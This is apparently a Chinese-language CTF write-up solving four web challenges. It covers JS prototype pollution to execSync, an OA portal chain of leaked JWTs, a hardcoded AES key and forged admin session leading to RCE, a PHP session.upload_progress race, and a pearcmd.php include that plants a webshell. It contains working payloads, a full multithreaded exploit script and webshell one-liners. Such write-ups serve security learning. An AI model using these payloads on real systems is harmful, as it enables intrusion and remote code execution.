prototype-preview

根据题目名称猜测是js原型链污染

/source路由发现源码

未过滤 __proto__,导致原型链污染

payload:

1
2
3
4
5
6
7
8
9
{
"name": "x",
"bio": "x",
"theme": {"color": "#333", "layout": "a"},
"__proto__": {
"escapeFunction": "escapeHtml;out.push(require(\"child_process\").execSync(\"env\").toString())"
}
}

flag{111b6bb4-8b0c-450c-9d30-aaf669eb8a6f}

oooa

/api/v2/workflow/pending-approval/snapshot未授权获取jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"code": 0,
"data": {
"source": "workflow-pending-approval-cache",
"items": [
{
"applyId": "WF-20260527-0192",
"employeeName": "林实习",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDA3IiwidXNlcm5hbWUiOiJpbnRlcm4ubGluIiwicm9sZSI
6ImludGVybiIsImRlcHQiOiLnu7zlkIjnrqHnkIbpg6giLCJwdXJwb3NlIjoid29ya2Zsb3ctYXBwbHktY2FjaGUiLCJpYXQiOjE3ODA3NTMyMjI0M
TV9.ssP1iI334R8jfkzNlFVQOyTwvpzipTEj320q7MlNF6c"
},
{
"applyId": "WF-20260527-0184",
"employeeName": "陈专员",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDEyIiwidXNlcm5hbWUiOiJzdGFmZi5jaGVuIiwicm9sZSI
6ImVtcGxveWVlIiwiZGVwdCI6Iui0ouWKoeWFseS6q-S4reW_gyIsInB1cnBvc2UiOiJ3b3JrZmxvdy1hcHBseS1jYWNoZSIsImlhdCI6MTc4MDc1M
zIyMjQxNn0._gVjXAlzY3zervpYauOOh5vu9nmog-RNoaQHV0xsPSc"
}
]
}
}

JS chunk中提取AES加密实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Key: ManBaOaPortalKey (hex: 4d616e42614f61506f7274616c4b6579)
// IV: PortalRefresh01! (hex: 506f7274616c52656672657368303121)

async function n(e) {
let t = await window.crypto.subtle.importKey(
"raw",
s("4d616e42614f61506f7274616c4b6579"), // "ManBaOaPortalKey"
{name: "AES-CBC"},
false,
["encrypt"]
);
return btoa(String.fromCharCode(...new Uint8Array(
await window.crypto.subtle.encrypt(
{name: "AES-CBC", iv: s("506f7274616c52656672657368303121")}, // "PortalRefresh01!"
t,
new TextEncoder().encode(String(e))
)
)));
}

/api/v2/portal/context/refresh-sync 端点接受 AES-CBC 加密的 userRef(用户 ID),可以将当前会话切换到目标用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

key = b'ManBaOaPortalKey'
iv = b'PortalRefresh01!'

# 加密 admin 用户的 ID "0001"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(b'0001', AES.block_size))
encrypted_userRef = base64.b64encode(ciphertext).decode()
# -> "r8Z3xPBHo1pxxIU/J3fBzA=="

curl -X POST /api/v2/portal/context/refresh-sync \
-H "Authorization: Bearer <intern_token>" \
-H "Content-Type: application/json" \
-d '{"userRef":"r8Z3xPBHo1pxxIU/J3fBzA=="}'

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"code": 0,
"data": {
"previousUserId": "0007",
"currentUserId": "0001",
"switched": true,
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDAxIiwidXNlcm5hbWUiOiJvcHMtYWRtaW4iLCJyb2xlI
joiYWRtaW4iLCJkZXB0Ijoi5bmz5Y-w5rK755CG5Lit5b-DIiwicHVycG9zZSI6InBvcnRhbC1jb250ZXh0LXJlZnJlc2giLCJpYXQiOjE3ODA3NTQ
1MTQyMTl9.CbJZq-UwM4JuWAsFSbg1wz_AYyjzHLCOirWY3BG-rkI",
"profile": {
"userId": "0001",
"username": "ops-admin",
"displayName": "平台运维管理员",
"role": "admin",
"department": "平台治理中心",
"title": "Runtime Control Owner"
}
}
}

提权到admin

1
2
3
curl -X POST /api/v2/platform/runtime/diagnostic-task \
-H "Authorization: Bearer <admin_token>" \
-d '{"cmd":"id"}'

成功RCE,回显

1
2
3
4
5
6
7
8
9
{
"code": 0,
"data": {
"command": "id",
"stdout": "uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)\n",
"stderr": "",
"exitCode": 0
}
}

读取后端源码 (/opt/app/src/obf/08f3c1e4.js) 发现 flag 存储位置:

1
2
3
4
const disguisedCollections = {
dbName: process.env.FLAG_MONGO_DB || "ops_runtime",
collectionName: process.env.FLAG_MONGO_COLLECTION || "system_notice_templates"
};

查mongoDB日志

1
2
3
4
5
6
7
8
9
10
11
12
13
cat /var/log/mongodb/mongod.stdout.log | grep previewProbe
{
"ns": "ops_runtime.system_notice_templates",
"command": {
"find": "system_notice_templates",
"filter": {
"bizCode": "OA-NOTIFY-TPL",
"previewProbe": "flag{779e1301-8830-4c24-91ee-ff6ca565506e}",
"warmSlot": 67
}
}
}

签到

GET /include.php?file=/var/www/html/notes/welcome.txt

file 参数直接传入 include(),页面回显被包含文件的内容。另有 /upload.php 上传页,其表单里藏着一个关键字段:

1
2
3
4
<form method="post" enctype="multipart/form-data">
<input id="progress" type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="checking">
<input id="file" type="file" name="file">
</form>

根据提示猜测考点为 session.upload_progress 利用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import threading, requests, sys, re, time, urllib.parse
BASE="http://114.66.24.210:25504"; SID="ctf1337race"
CMD = "cat /flag"
payload = "<?php echo '##S##'; system($_GET['c']); echo '##E##'; ?>"
sess_path = "/tmp/sess_"+SID
stop=False; hit={"v":None}

def writer(): # 持续上传,保持 upload in-progress
while not stop:
try:
requests.post(BASE+"/include.php",
files={'file':('a.txt', b"A"*(1024*256))},
data={'PHP_SESSION_UPLOAD_PROGRESS': payload},
cookies={'PHPSESSID':SID}, timeout=10)
except: pass

def reader(): # 并发包含 /tmp/sess_<id>
global stop; s=requests.Session()
url=f"{BASE}/include.php?file={urllib.parse.quote(sess_path)}&c={urllib.parse.quote(CMD)}"
while not stop:
try:
r=s.get(url, cookies={'PHPSESSID':SID}, timeout=10)
if "##S##" in r.text:
hit["v"]=re.search(r"##S##(.*?)##E##", r.text, re.S).group(1)
stop=True; return
except: pass
ts=[threading.Thread(target=writer) for _ in range(6)] + \
[threading.Thread(target=reader) for _ in range(6)]
for t in ts: t.daemon=True; t.start()
t0=time.time()
while not stop and time.time()-t0<40: time.sleep(0.2)
print(hit["v"])

flag{a97cb1ec-2676-4c54-af8e-75af36bf876b}

include

提交不存在的文件时,PHP 报错泄露了核心信息:

1
2
3
4
Warning: include(pages/zzz.php): failed to open stream ...
in /var/www/html/index.php on line 113
Warning: include(): Failed opening 'pages/zzz.php'
(include_path='.:/usr/local/lib/php')

报错泄露的 include_path 含 /usr/local/lib/php,而 PEAR 工具 pearcmd.php 正好在这里

包含相对路径 pearcmd.php 时,PHP 按 include_path 搜索 → 命中 /usr/local/lib/php/pearcmd.php

利用 pearcmd把webshell 写进 web 根目录

1
GET /index.php?file=pearcmd.php&+config-create+/<?=print("@@".base64_encode(shell_exec($_GET[c]))."@@")?>+/var/www/html/q.php

读取 flag

1
GET /?file=q.php&c=cat+/flag